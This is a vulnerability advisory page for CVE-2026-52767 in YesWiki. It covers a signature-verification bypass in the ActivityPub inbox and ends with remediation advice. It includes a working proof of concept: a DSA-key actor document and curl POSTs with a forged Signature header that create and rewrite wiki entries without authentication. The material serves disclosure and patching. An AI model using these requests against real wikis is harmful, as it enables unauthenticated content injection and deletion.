Skip to main content

YesWiki CVE-2026-52767

HIGH
Improper Verification of Cryptographic Signature (CWE-347)
2026-07-09 https://github.com/YesWiki/yeswiki GHSA-mv28-wj57-f57g
8.2
CVSS 3.1 · Vendor: https://github.com/YesWiki/yeswiki
Share

Severity by source

Vendor (https://github.com/YesWiki/yeswiki) PRIMARY
8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
vuln.today AI
8.2 HIGH

Unauthenticated network POST with no user interaction (AV:N/AC:L/PR:N/UI:N) yields entry create/rewrite (I:H) and federated content deletion (A:L); no data disclosure (C:N).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/YesWiki/yeswiki).

CVSS VectorVendor: https://github.com/YesWiki/yeswiki

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Lifecycle Timeline

2
Analysis Generated
Jul 09, 2026 - 21:27 vuln.today
CVE Published
Jul 09, 2026 - 20:58 github-advisory
HIGH 8.2

DescriptionCVE.org

Summary

HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:

returnmeaning!return
1signature is validfalse
0signature is invalidtrue
-1the verify call itself failed (internal error)false
falseinput rejected by PHP's argument validationtrue

The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.

The two practical paths to -1 we are aware of:

  1. DSA / EC public key with an RSA-only algorithm. openssl_verify(..., $dsaKey, "RSA-SHA256") returns int(-1) on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified php:8.3-apache lab and against any deployment using the runtime stack YesWiki's own docker image ships.
  2. Older PHP + older OpenSSL where any unrecognised digest name returned -1 rather than false. The reporting research mentions this path; on current stacks false is returned instead and the throw fires correctly. The DSA path replaces it.

The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 130
php
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
    ...                                                          // [Signature parse,
                                                                 //  outbound key fetch - see the SSRF advisory]
    $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
    ...
    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK
            join("\n", $sigParts),
            base64_decode($sigConf['signature']),
            $actorPublicKey,
            strtoupper($sigConf['algorithm'])
    )) {
        throw new Exception('Signature verification failed');    // (b) skipped when openssl_verify == -1
    }

    if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
        throw new Exception('Digest mismatch');                  // (c) still enforced - easy to satisfy
    }
}

The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.

End-to-end attack chain

A single unauthenticated POST per operation. No session, no CSRF, no real signature.

  1. Stand up an actor document that the attacker controls - any public web server (or webhook receiver) that returns a JSON body with the shape:
json
    {
      "id": "<exact URL the server will GET>",
      "publicKey": {
        "id": "<same URL>",
        "publicKeyPem": "<DSA public key in PEM form>"
      }
    }
  1. Send a Create / Update / Delete activity to POST /api/forms/{enabled-form-id}/actor/inbox:
http
    POST /?api/forms/2/actor/inbox HTTP/1.1
    Host: target.example
    Content-Type: application/activity+json
    Date: <RFC1123 date>
    Digest: SHA-256=<base64(sha256(body))>
    Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="

    {"@context":"https://www.w3.org/ns/activitystreams","type":"Create",
     "actor":"<actor URL>",
     "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}}
  1. YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls openssl_get_publickey(...) which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns -1. The check !openssl_verify(...) evaluates to false and the throw is skipped.
  2. Digest header is enforced, but it's a simple SHA-256= of the body the attacker chose, so satisfying it costs one sha256sum.
  3. processActivity($activity, $form) runs: Create → EntryManager::create(), Update → EntryManager::update(), Delete → EntryManager::delete(). The triple store records the attacker's object.id as the source URL, which is how Update / Delete locate the entry on subsequent calls.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

bash
BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"

PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.

bash
podman exec "$CTR" php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'

Expected output:

openssl_verify returned: -1
!openssl_verify(...)  is: false

Verify the listener is up and serving the DSA-key actor

bash
podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo

Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).

Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):

bash
ACTIVITY='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Create",
  "id":   "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"' - created via the signature-verification bypass",
    "content": "openssl_verify returned -1; YesWiki accepted us anyway",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'
# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'

Now, try udating the entry via the same bypass

The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.

bash
UPDATE_ACT='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Update",
  "id":   "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"'_UPDATED - title was changed by an unauthenticated POST",
    "content": "this row was modified via the SAME bypass",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$UPDATE_ACT" \
     -w '  HTTP %{http_code}\n'

Expected output: HTTP 200, empty body.

Impact

CRUD on bazar entries of any ActivityPub-enabled form, without authentication:

  • Create - EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row in yeswiki_pages and a triple <tag, sourceUrl, $object['id']> in yeswiki_triples.
  • Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
  • Delete - same lookup, then EntryManager::delete($tag, true).

Concrete operational impact:

  • Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
  • Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
  • Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its object.id discovered, and then deleted by replaying the chain with type=Delete.
  • Triple-store pollution - the yeswiki_triples table grows with attacker-controlled sourceUrl triples that survive entry deletion and can interfere with later federation flows.
  • Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.

AnalysisAI

Signature-verification bypass in YesWiki (v4.6.5 and earlier, ActivityPub-federated Bazar forms) lets an unauthenticated remote attacker forge a valid ActivityPub actor and have Create/Update/Delete activities processed as if properly signed. The flaw stems from HttpSignatureService::verifySignature() using a loose boolean check (!openssl_verify(...)) that treats openssl_verify()'s -1 internal-error return as success. A detailed proof-of-concept exists (publicly available exploit code exists) demonstrating full CRUD on Bazar entries; the issue is not in CISA KEV and no EPSS score was provided.

Technical ContextAI

The vulnerability lives in tools/bazar/services/HttpSignatureService.php (line 130), part of YesWiki's ActivityPub/Bazar federation stack (a PHP application typically shipped via the vendor Docker image on php:8.3-apache with OpenSSL 3.x). PHP's openssl_verify() has four return states: 1 (valid), 0 (invalid), -1 (the underlying EVP_VerifyFinal() call errored), and false (argument rejected). Because -1 is truthy in PHP, !(-1) evaluates to false, so the 'Signature verification failed' exception is skipped and control falls through to processActivity(). This is a textbook CWE-347 (Improper Verification of Cryptographic Signature): the code conflates 'verification errored' with 'verification succeeded.' The practical trigger is supplying a DSA/EC public key while claiming an RSA-only algorithm (algorithm="RSA-SHA256"), which makes OpenSSL return -1 rather than 0; an older-PHP/OpenSSL path where unrecognized digest names returned -1 is also noted. The affected package is identified by CPE pkg:composer/yeswiki_yeswiki.

RemediationAI

Apply the vendor's fix: upstream patch available (commit d1795e0301e1a1078f17b4b98f56fff70de2029e, https://github.com/YesWiki/yeswiki/commit/d1795e0301e1a1078f17b4b98f56fff70de2029e); a released patched version tag was not independently confirmed from the provided data, so upgrade to the first tagged YesWiki release that includes this commit and consult advisory GHSA-mv28-wj57-f57g for the exact version. The correct code change is a strict comparison (openssl_verify(...) === 1 for success, treating 0, -1, and false all as failure). Until patched, the highest-value compensating control is to disable ActivityPub federation on all Bazar forms, which fully removes the vulnerable inbox path at the cost of losing federation; if federation must stay, restrict access to the /?api/forms/{id}/actor/inbox endpoint at the reverse proxy or WAF to known federation peers (side effect: blocks legitimate new peers), and block outbound SSRF-style actor fetches to internal/loopback addresses since the same flow performs an attacker-directed server-side fetch (see the sibling SSRF advisory).

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

CVE-2026-52767 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy